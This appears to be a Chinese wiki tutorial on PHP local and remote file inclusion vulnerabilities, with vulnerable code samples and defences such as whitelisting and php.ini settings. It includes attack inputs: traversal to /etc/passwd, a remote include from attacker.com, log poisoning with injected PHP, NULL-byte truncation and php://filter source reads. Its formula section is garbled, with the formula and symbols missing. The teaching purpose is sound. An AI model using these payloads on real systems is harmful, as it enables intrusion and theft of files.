PHP文件包含漏洞
外观
PHP文件包含漏洞[编辑 | 编辑源代码]
PHP文件包含漏洞(PHP File Inclusion Vulnerability)是一种常见的安全漏洞,允许攻击者通过动态文件包含机制(如include
、require
、include_once
、require_once
)加载恶意文件或执行任意代码。该漏洞通常由于开发者未对用户输入进行严格过滤而导致,可能导致敏感信息泄露、远程代码执行(RCE)等严重后果。
基本概念[编辑 | 编辑源代码]
PHP文件包含分为两种类型:
- 本地文件包含(LFI, Local File Inclusion):攻击者可以包含服务器本地的文件。
- 远程文件包含(RFI, Remote File Inclusion):攻击者可以包含远程服务器上的文件(需
allow_url_include
启用)。
漏洞成因[编辑 | 编辑源代码]
文件包含漏洞通常发生在动态加载文件时未对用户输入进行校验,例如:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
如果攻击者控制page
参数,可能通过构造恶意输入(如../../../etc/passwd
或远程URL)读取敏感文件或执行代码。
漏洞示例[编辑 | 编辑源代码]
本地文件包含(LFI)[编辑 | 编辑源代码]
以下是一个易受攻击的代码示例:
<?php
$file = $_GET['file'];
include('/var/www/html/' . $file);
?>
攻击方式:
- 输入:
file=../../../../etc/passwd
- 结果:服务器返回
/etc/passwd
文件内容。
远程文件包含(RFI)[编辑 | 编辑源代码]
若allow_url_include=On
,攻击者可包含远程恶意脚本:
<?php
$lib = $_GET['lib'];
include($lib . '.php');
?>
攻击方式:
- 输入:
lib=http://attacker.com/malicious
- 结果:加载并执行远程恶意代码。
实际案例[编辑 | 编辑源代码]
案例1:CMS文件包含漏洞[编辑 | 编辑源代码]
某内容管理系统(CMS)因未过滤用户输入,导致攻击者通过以下URL读取配置文件:
http://example.com/index.php?module=../../../config/db
案例2:日志文件中毒[编辑 | 编辑源代码]
攻击者通过User-Agent注入PHP代码到日志文件,再通过LFI包含日志文件执行代码:
GET /index.php?page=/var/log/apache2/access.log HTTP/1.1
User-Agent: <?php system('id'); ?>
防御措施[编辑 | 编辑源代码]
输入验证[编辑 | 编辑源代码]
- 使用白名单机制限制可包含的文件:
$allowed = ['home', 'about', 'contact'];
if (in_array($_GET['page'], $allowed)) {
include($_GET['page'] . '.php');
}
禁用危险配置[编辑 | 编辑源代码]
- 在
php.ini
中设置:
allow_url_include = Off
allow_url_fopen = Off
使用绝对路径[编辑 | 编辑源代码]
避免相对路径遍历:
$base_dir = '/var/www/html/';
$file = basename($_GET['file']);
include($base_dir . $file);
文件扩展名限制[编辑 | 编辑源代码]
强制校验文件扩展名:
$file = $_GET['file'] . '.php';
if (preg_match('/^[a-z0-9-]+\.php$/i', $file)) {
include($file);
}
高级利用技术[编辑 | 编辑源代码]
NULL字节截断[编辑 | 编辑源代码]
(PHP < 5.3)攻击者可在路径后添加%00
截断后缀:
file=../../../etc/passwd%00
PHP伪协议[编辑 | 编辑源代码]
利用php://filter
读取文件源码:
file=php://filter/convert.base64-encode/resource=config.php
数学表达[编辑 | 编辑源代码]
文件包含漏洞可形式化为: 其中:
- :所有用户输入路径
- :输入验证函数
总结[编辑 | 编辑源代码]
PHP文件包含漏洞危害严重,开发者应始终:
- 禁用不必要的PHP配置(如RFI)。
- 对用户输入实施严格白名单验证。
- 避免直接拼接动态文件路径。
- 定期更新PHP版本以修复已知漏洞。